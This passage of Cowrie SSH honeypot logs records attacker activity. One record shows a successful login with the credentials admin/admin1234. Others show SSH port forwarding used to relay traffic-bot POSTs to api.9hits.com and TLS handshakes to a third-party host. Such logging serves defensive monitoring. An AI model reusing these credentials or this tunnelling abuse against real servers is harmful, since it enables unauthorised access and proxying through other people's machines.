{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:13:57.171308Z","session":"32eeab04350a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:13:57.244444Z","src_ip":"63.141.242.2","session":"32eeab04350a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1168\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 8.1.0; LM-X220PM) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=ZSh9UUFxYSkoKjQzRzYmYQ%3D%3Dt3tyrqgARS1JAF6BB4vCjH6yxCkfTm%2B41Pg8EynAHCwuNV1ux6HDKFBzLEKPa8nw2GENp7x1DCSBaHwIF0vDXxCPPBMXRtgUlNfTGA7DhOfl51Sm3HZoQOQMxBH2sShxeEHkObJPUECcFUPjJafi%2FQnYa%2FrkdaPfHecb%2FIFC2uS549NIjumTW3nV1ZYehcxYEHzRvXhRLTY4gLhZ1c%2BKUAQSYVtdRWVtJCyrn%2BsosQPrdEa9pljYjNjbORT9Dm%2B8MQLA3qcLTJErnk3Q6B4wwqL89Iqk5SVeXC67HSVTLGuUj%2FKClFy2A4Yu9B%2FCf8HEANIEhNob5IgezaRKKh%2BMjLB9%2FH7M%2BYgrxZd51TiBSKFhzQtRudbrDIYnuv%2B1Afhv0YClUD%2BbiGj8ZiYsj5J1gyaodlfKBeoR3QuN5js3%2BRoGhB2K9Inlw7QUu07poZi6jKpDndZvP%2BNr2Wd%2B0jFdd9hEAaMJ61ktfv2IFPTeT20wZX3k%2Bdha91u3IlFGhoSvxVEYUD%2B6pZ2cqKbrC2m1RKKKmvi5ThG9TQ9hZcbroJDAi%2F9IVtGSr2Fg6AXBSdXxCOMjMsbENaBgBMMBLaTw6oyHNMowjs497lQ7Ep7NHZLCvi3HCHIYwTBTr3UE1SMwzlNyxZ2WEHH2cmshPiszHbZSHyFRcmIjtdxL8gDmYcrA%2FqhI2%2FZ97V1xAHAYyqFU%2BkRSA5pNzIkZWOzcrBjeLXwa5kXbRPyP0HehGz4hpXg45OFEHdsPnZfK9GlE05Hzwl7bSVN2mR06%2BZJwrhhLb7UmoScZiaDhT7k2K9mEvpqJIRmkHK8kSnvJhlA96PdSPlTpYyqw0R7%2BrrajF4JnJdVabkfGwQbWk2FF8W5yqdhtcObWu2zLmv45EBhqCBWa80fwWarfiH9odx6JedktfDlYcQZo17T3GPSqSL8dwVrraemujCDpbbMBJs5KCtsloagaiNWY39LuSVqQCtOCmPm4pvGCsXLoWippRTZRhIwF9H07Cer1UT99bkFYOMYOVVDsAohZUJ7XCdYPrciNEcBxAtmrbyotsGOUtP2hqyzDO64CD4LtjOiv1pAGQvbj'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1168\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 8.1.0; LM-X220PM) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=ZSh9UUFxYSkoKjQzRzYmYQ%3D%3Dt3tyrqgARS1JAF6BB4vCjH6yxCkfTm%2B41Pg8EynAHCwuNV1ux6HDKFBzLEKPa8nw2GENp7x1DCSBaHwIF0vDXxCPPBMXRtgUlNfTGA7DhOfl51Sm3HZoQOQMxBH2sShxeEHkObJPUECcFUPjJafi%2FQnYa%2FrkdaPfHecb%2FIFC2uS549NIjumTW3nV1ZYehcxYEHzRvXhRLTY4gLhZ1c%2BKUAQSYVtdRWVtJCyrn%2BsosQPrdEa9pljYjNjbORT9Dm%2B8MQLA3qcLTJErnk3Q6B4wwqL89Iqk5SVeXC67HSVTLGuUj%2FKClFy2A4Yu9B%2FCf8HEANIEhNob5IgezaRKKh%2BMjLB9%2FH7M%2BYgrxZd51TiBSKFhzQtRudbrDIYnuv%2B1Afhv0YClUD%2BbiGj8ZiYsj5J1gyaodlfKBeoR3QuN5js3%2BRoGhB2K9Inlw7QUu07poZi6jKpDndZvP%2BNr2Wd%2B0jFdd9hEAaMJ61ktfv2IFPTeT20wZX3k%2Bdha91u3IlFGhoSvxVEYUD%2B6pZ2cqKbrC2m1RKKKmvi5ThG9TQ9hZcbroJDAi%2F9IVtGSr2Fg6AXBSdXxCOMjMsbENaBgBMMBLaTw6oyHNMowjs497lQ7Ep7NHZLCvi3HCHIYwTBTr3UE1SMwzlNyxZ2WEHH2cmshPiszHbZSHyFRcmIjtdxL8gDmYcrA%2FqhI2%2FZ97V1xAHAYyqFU%2BkRSA5pNzIkZWOzcrBjeLXwa5kXbRPyP0HehGz4hpXg45OFEHdsPnZfK9GlE05Hzwl7bSVN2mR06%2BZJwrhhLb7UmoScZiaDhT7k2K9mEvpqJIRmkHK8kSnvJhlA96PdSPlTpYyqw0R7%2BrrajF4JnJdVabkfGwQbWk2FF8W5yqdhtcObWu2zLmv45EBhqCBWa80fwWarfiH9odx6JedktfDlYcQZo17T3GPSqSL8dwVrraemujCDpbbMBJs5KCtsloagaiNWY39LuSVqQCtOCmPm4pvGCsXLoWippRTZRhIwF9H07Cer1UT99bkFYOMYOVVDsAohZUJ7XCdYPrciNEcBxAtmrbyotsGOUtP2hqyzDO64CD4LtjOiv1pAGQvbj'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:13:57.247565Z","src_ip":"63.141.242.2","session":"32eeab04350a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:13:57.639515Z","src_ip":"23.148.145.132","session":"d3a9ab4cce68","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:13:58.426140Z","session":"32eeab04350a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:13:58.572838Z","src_ip":"63.141.242.2","session":"32eeab04350a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb2\\x81\\xac\\x92\\xef\\xfb~0\\xb8\\xf0\\x80\\xe0`w1\\x00h\\xf0.$Z]\\xa8Of\\x8f\\xbc\\xee_A\\xa3\\x17 \\x81\\x06\\xf8J\\x8bN&\\xf7\\x07\\xff\\xef\\x88W\\xe1/\\x81\\xd1\\xd0[\\x7fw\\x98\\x0cy\\xee5O\\x88\\xa6\\xe5|\\xc3\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 O\\xc5]\\x10-\\xc1\\xb9\\x85\\xcf[C \\xc9XR\\xe8)\\xa9\\xa4\\xe9^\\x88\\xf8b&\\x07z\\xccB\\xe6\\xad,\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb2\\x81\\xac\\x92\\xef\\xfb~0\\xb8\\xf0\\x80\\xe0`w1\\x00h\\xf0.$Z]\\xa8Of\\x8f\\xbc\\xee_A\\xa3\\x17 \\x81\\x06\\xf8J\\x8bN&\\xf7\\x07\\xff\\xef\\x88W\\xe1/\\x81\\xd1\\xd0[\\x7fw\\x98\\x0cy\\xee5O\\x88\\xa6\\xe5|\\xc3\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 O\\xc5]\\x10-\\xc1\\xb9\\x85\\xcf[C \\xc9XR\\xe8)\\xa9\\xa4\\xe9^\\x88\\xf8b&\\x07z\\xccB\\xe6\\xad,\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:13:58.575818Z","src_ip":"63.141.242.2","session":"32eeab04350a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:13:58.630170Z","session":"32eeab04350a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:13:58.674508Z","src_ip":"63.141.242.2","session":"32eeab04350a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd2SE\\x1c\\x03\\x7f\\xc2M\\xef\\xe6z\\xee\\x06H\\x86\\xe1T]\\xec\\x85\\xb0y\\xe8\\x88\\xc5E\\x14C\\x05_)\\x9f \\xf2k\\x11!\\x9eU t=\\xcb.\\x15\\xf3\\x038}-!di\\x88\\x83\\x0f\\xe2[\\xc7hl(Wo\\xd7\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\x84\\xae~\\xd6\\xaf[lR>\\xa1@\\xef\\xf7\\xfc\\xb1\\xf8$\\xc5eu\\xadA\\xef`\\x9c\\x862\\x02\\xf2A\\xf3P\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd2SE\\x1c\\x03\\x7f\\xc2M\\xef\\xe6z\\xee\\x06H\\x86\\xe1T]\\xec\\x85\\xb0y\\xe8\\x88\\xc5E\\x14C\\x05_)\\x9f \\xf2k\\x11!\\x9eU t=\\xcb.\\x15\\xf3\\x038}-!di\\x88\\x83\\x0f\\xe2[\\xc7hl(Wo\\xd7\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\x84\\xae~\\xd6\\xaf[lR>\\xa1@\\xef\\xf7\\xfc\\xb1\\xf8$\\xc5eu\\xadA\\xef`\\x9c\\x862\\x02\\xf2A\\xf3P\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:13:58.677781Z","src_ip":"63.141.242.2","session":"32eeab04350a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.2","message":"Connection lost after 17.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:06.003919Z","src_ip":"63.141.242.2","session":"32eeab04350a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:10.118691Z","session":"d3a9ab4cce68","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:10.133585Z","src_ip":"23.148.145.132","session":"d3a9ab4cce68","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_1_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.4 Mobile/16D57 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1182\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=VXdhP0V9TXk4JFVLenF1JA%3D%3DSrU1Bj27qfFmmTeDFjMuG9HrhLQEMzj21U5Kb8%2FtCyp4MQwnqpnrwkbld7SkghOmbg2YnHBePUj9muus0frSYFPL%2BG0q4ZnXlykSD7kqKTePfRmHw2shwePO34Ng5BfuNgE0D5QqrTd%2FForbo1kV8x4fNUA5vTZuXQ79qNWxe5eu9wq2IcaSCv1QmQS0MIXp7NMEduGyEsL6nwGSnlTsqUuW5xBM%2BifvW9%2BErP3DG6mIDjm9VYkaZw%2BvtW9NBDDi7UbaY3oGyzw2q3PWbmS1sGrNTQyfwiUR%2FZzvFbRmWp1CPnBbx7MZDozZgVWXhvjpKVHg1HWbJaiC2%2BQVsvZyDSGyav4IoWrTK4eYubjmRVVXWP4QsyopeW34mhe45Ehr1H7%2BrvQzIN20aaqiYMUO9EctxUCGBXuINqmA4PlroZ7dcL6hCoJl7PHpCFmC1b13tgeD91TlHx5oFjjSQXNGpPjmi3Gnzj68pzvZxbG6%2BBl8JPsMk4jcP4WqqtRUWsG3Zqa1vK05mEjHzAXcQCjc9nzFap5v49FhguK%2BWoCChfjQZqyPOBH%2FfJd%2BsCz20wXoJQ78%2F%2Bhulg%2FQNyBXbqwJRH873gFqbrv3ABlmixzQS7S6yEzB6GU1%2FCjEEq%2B0rgWvO6T%2FDSM7pbiIkJUbUXxQZQKosbC1RgArmL0rSO8tDyx%2FxskdvsAPQ5b3Bgr6VQtvvKcAszEueYaKgph44vAC93kQnKSjJb1U7EefZx4aw%2B1jq3HDZOGMLmdl%2FTaq%2FgRvr%2BgZ5WxeDql4G7K5wgxDKavLmuh0aKn5HSjVdPtMI1sKgzAro0A%2FKh1hprPe9dmUOEa3hB%2B76no2BFHbnDPLONSakMl5q2UOaQq%2BsFd5Tzmux5MT%2BC8sEVK2HMjbJfVqE8YYU8MKItW2zpTognLr3zvYc4sAV2UtXnvo9omEKHPFYPkOjxgk0RMzcCa2SJwZ1mLZD5z8NgzpWsyBVlzqD0vLmCDzybPqD3VyaDJfC%2FVL5RmhYQeTaDNUYwiRsz0WCkv%2FGoTdbVAsi%2FqivjKRAfi3PKk8io0%2Fyzj5180OZ8QzrHl2NK1Z4fHiF1IRGtvK'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_1_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.4 Mobile/16D57 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1182\\r\\nPragma: no-cache\\r\\nCache-Control: 